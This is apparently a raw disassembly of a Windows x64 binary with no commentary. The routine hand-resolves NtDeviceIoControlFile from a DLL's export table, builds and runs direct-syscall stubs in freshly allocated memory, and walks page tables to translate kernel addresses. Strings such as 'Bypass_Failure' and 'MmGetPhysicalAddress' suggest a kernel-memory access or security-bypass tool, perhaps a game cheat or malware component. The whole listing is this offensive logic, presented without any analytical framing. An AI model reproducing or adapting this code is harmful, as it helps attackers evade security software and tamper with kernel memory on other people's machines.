mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0x168], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x48]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp - 0x48]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0x168]
lea r9, [rbp + 0x168]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x140091d95
test bl, 1
je 0x140091d95
mov rax, qword [rbp + 0x198]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0x1e
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp - 0x10], 0
xor edx, edx
mov qword [rbp - 8], 0
xorps xmm0, xmm0
mov qword [rbp], 0
movups xmmword [rbp + 0x210], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp - 0x20], 8
mov qword [rbp - 0x18], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x140091035
cmp word [rax], bx
jne 0x140091035
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140091035
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140091035
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140091030
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140090e83
inc rbx
cmp rbx, r14
jb 0x140090e60
jmp 0x140091030
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140091030
mov edi, dword [rcx + 4]
test edi, edi
js 0x140091030
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x50e4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x3d60]
call fcn.1400be1b0
lea rcx, [rbp + 0x3d60]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
lea rcx, [rbp + 0x3d60]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x2b0], rax
inc rbx
cmp rbx, 0x200
jl 0x140090f13
mov r8d, 0x1000
lea rdx, [rbp + 0x2b0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], edi
lea rbx, [rsi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x180]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x180], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x20]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp - 0x20]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x210]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x180]
lea r9, [rbp + 0x180]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140091d95
mov ebx, 0x5a4d
mov rdi, qword [rbp - 8]
test rdi, rdi
je 0x140091d95
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rdi, qword [rdi]
xor edx, edx
mov dword [rsp + 0x50], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x58], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x1400912b0
cmp word [rax], bx
jne 0x1400912b0
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400912b0
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400912b0
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x1400912b0
nop dword [rax + rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x1400910f4
inc rbx
cmp rbx, r15
jb 0x1400910d0
jmp 0x1400912b0
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x1400912b0
mov esi, dword [rcx + 4]
test esi, esi
js 0x1400912b0
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x29c4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x1640]
call fcn.1400be1b0
lea rcx, [rbp + 0x1640]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x1640]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x2b0], rax
inc rbx
cmp rbx, 0x200
jl 0x140091190
mov r8d, 0x1000
lea rdx, [rbp + 0x2b0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x16c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x16c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x20]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp - 0x20]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x16c]
lea r9, [rbp + 0x16c]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140091d95
test dil, 1
je 0x140091d95
movzx eax, dil
shr al, 7
test al, 1
je 0x1400912e3
movabs rax, 0xfffffc0000000
and rdi, rax
mov rax, qword [rbp + 0x198]
and eax, 0x3fffffff
jmp 0x140091d8b
mov rax, qword [rbp + 0x198]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rdi, rcx
shr rax, 0x15
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp - 0x38], 0
xor edx, edx
mov qword [rbp - 0x30], 0
xorps xmm0, xmm0
mov qword [rbp - 0x28], 0
movups xmmword [rbp + 0x1f8], xmm0
lea rax, [rdi + rax*8]
mov qword [rbp - 0x48], 8
mov qword [rbp - 0x40], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x140091595
cmp word [rax], bx
jne 0x140091595
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140091595
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140091595
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140091590
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400913e3
inc rbx
cmp rbx, r14
jb 0x1400913c0
jmp 0x140091590
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140091590
mov edi, dword [rcx + 4]
test edi, edi
js 0x140091590
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x3d54], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x29d0]
call fcn.1400be1b0
lea rcx, [rbp + 0x29d0]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
lea rcx, [rbp + 0x29d0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x2b0], rax
inc rbx
cmp rbx, 0x200
jl 0x140091473
mov r8d, 0x1000
lea rdx, [rbp + 0x2b0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], edi
lea rbx, [rsi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x170]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x170], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x48]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp - 0x48]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x1f8]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x170]
lea r9, [rbp + 0x170]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140091d95
mov ebx, 0x5a4d
mov rdi, qword [rbp - 0x30]
test rdi, rdi
je 0x140091d95
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rdi, qword [rdi]
xor edx, edx
mov dword [rsp + 0x50], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x58], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140091810
cmp word [rax], bx
jne 0x140091810
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140091810
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140091810
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140091810
nop dword [rax + rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140091654
inc rbx
cmp rbx, r15
jb 0x140091630
jmp 0x140091810
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140091810
mov esi, dword [rcx + 4]
test esi, esi
js 0x140091810
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x29c4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x1640]
call fcn.1400be1b0
lea rcx, [rbp + 0x1640]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x1640]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x2b0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400916f0
mov r8d, 0x1000
lea rdx, [rbp + 0x2b0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x174]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x174], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x48]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp - 0x48]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x174]
lea r9, [rbp + 0x174]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140091d95
test dil, 1
je 0x140091d95
movzx eax, dil
shr al, 7
test al, 1
je 0x140091843
movabs rax, 0x3ffffffe00000
and rdi, rax
mov rax, qword [rbp + 0x198]
and eax, 0x1fffff
jmp 0x140091d8b
mov rax, qword [rbp + 0x198]
movabs rcx, 0x3fffffffff000
mov r13d, dword [0x140322b68]
and rdi, rcx
shr rax, 0xc
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp - 0x10], 0
xor edx, edx
mov qword [rbp - 8], 0
xorps xmm0, xmm0
mov qword [rbp], 0
movups xmmword [rbp + 0x210], xmm0
lea rax, [rdi + rax*8]
mov qword [rbp - 0x20], 8
mov qword [rbp - 0x18], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x140091af5
cmp word [rax], bx
jne 0x140091af5
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140091af5
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140091af5
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140091af0
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140091943
inc rbx
cmp rbx, r14
jb 0x140091920
jmp 0x140091af0
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140091af0
mov edi, dword [rcx + 4]
test edi, edi
js 0x140091af0
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x50e4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x3d60]
call fcn.1400be1b0
lea rcx, [rbp + 0x3d60]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
lea rcx, [rbp + 0x3d60]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x2b0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400919d3
mov r8d, 0x1000
lea rdx, [rbp + 0x2b0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], edi
lea rbx, [rsi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x178]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x178], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x20]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp - 0x20]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x210]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x178]
lea r9, [rbp + 0x178]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140091d95
mov ebx, 0x5a4d
mov rdi, qword [rbp - 8]
test rdi, rdi
je 0x140091d95
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rdi, qword [rdi]
xor edx, edx
mov dword [rsp + 0x50], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x58], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140091d6c
cmp word [rax], bx
jne 0x140091d6c
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140091d6c
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140091d6c
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140091d6c
nop dword [rax + rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140091bb4
inc rbx
cmp rbx, r15
jb 0x140091b90
jmp 0x140091d6c
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140091d6c
mov esi, dword [rcx + 4]
test esi, esi
js 0x140091d6c
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x29c4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x1640]
call fcn.1400be1b0
lea rcx, [rbp + 0x1640]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x1640]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x2b0], rax
inc rbx
cmp rbx, 0x200
jl 0x140091c50
mov r8d, 0x1000
lea rdx, [rbp + 0x2b0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x17c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x17c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x20]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp - 0x20]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x17c]
lea r9, [rbp + 0x17c]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140091d95
test dil, 1
je 0x140091d95
movabs rax, 0x3fffffffff000
and rdi, rax
mov rax, qword [rbp + 0x198]
and eax, 0xfff
add rdi, rax
test rdi, rdi
jne 0x140091e11
jmp 0x140091d97
xor edi, edi
mov esi, dword [rbp + 0x190]
mov r14, qword [rbp - 0x58]
inc esi
mov dword [rbp + 0x190], esi
cmp esi, 0x1f4
mov rsi, qword [rsp + 0x60]
jl 0x140090840
lea rcx, [rbp + 0x1d8]
call fcn.14003cdd0
mov r8d, send
lea rdx, str.Bypass_Failure
lea rcx, [rbp + 0x1d8]
call fcn.14003ce50
lea rcx, [rsp + 0x70]
call fcn.14003cdd0
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Code:_0x4_:_0x5
lea rcx, [rsp + 0x70]
call fcn.14003ce50
lea rdx, [rbp + 0x1d8]
lea rcx, [rsp + 0x70]
call fcn.14003cf90
mov rbx, qword [rbp + 0x1a0]
lea rcx, str.MmGetPhysicalAddress
mov rdx, qword [rbp - 0x70]
mov r8, rbx
call fcn.1400d3ec0
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x140091e8c
lea rcx, [rbp + 0x1d8]
call fcn.14003cdd0
mov r8d, send
lea rdx, str.Bypass_Failure
lea rcx, [rbp + 0x1d8]
call fcn.14003ce50
lea rcx, [rsp + 0x70]
call fcn.14003cdd0
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Code:_0x4_:_0x6
lea rcx, [rsp + 0x70]
call fcn.14003ce50
lea rdx, [rbp + 0x1d8]
lea rcx, [rsp + 0x70]
call fcn.14003cf90
mov eax, dword [0x140322b68]
lea rcx, [0x1401fded8]
xor edx, edx
mov dword [rsp + 0x50], eax
mov rax, qword [0x140329cf0]
xorps xmm0, xmm0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
lea r8d, [rdx + 1]
mov qword [rbp - 0x28], 0
movups xmmword [rbp + 0x1f8], xmm0
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x48], 0x1000
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x140091f5c
cmp word [rax], r14w
jne 0x140091f5c
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140091f5c
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140091f5c
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140091f4f
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140091f70
inc rbx
cmp rbx, r15
jb 0x140091f30
mov rbx, qword [rbp + 0x1a0]
mov r14d, 0x5a4d
mov rcx, qword [rbp - 0x30]
test rcx, rcx
jne 0x140092128
xor eax, eax
jmp 0x1400921d8
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140091f4f
mov r15d, dword [rcx + 4]
test r15d, r15d
js 0x140091f4f
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x29c4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x1640]
call fcn.1400be1b0
lea rcx, [rbp + 0x1640]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop dword [rax + rax]
lea rcx, [rbp + 0x1640]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x2b0], rax
inc rbx
cmp rbx, 0x200
jl 0x140092000
mov r8d, 0x1000
lea rdx, [rbp + 0x2b0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], r15d
lea rbx, [rsi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x158]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x158], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x48]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp - 0x48]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x158]
lea r9, [rbp + 0x158]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
jns 0x140091f4f
xor eax, eax
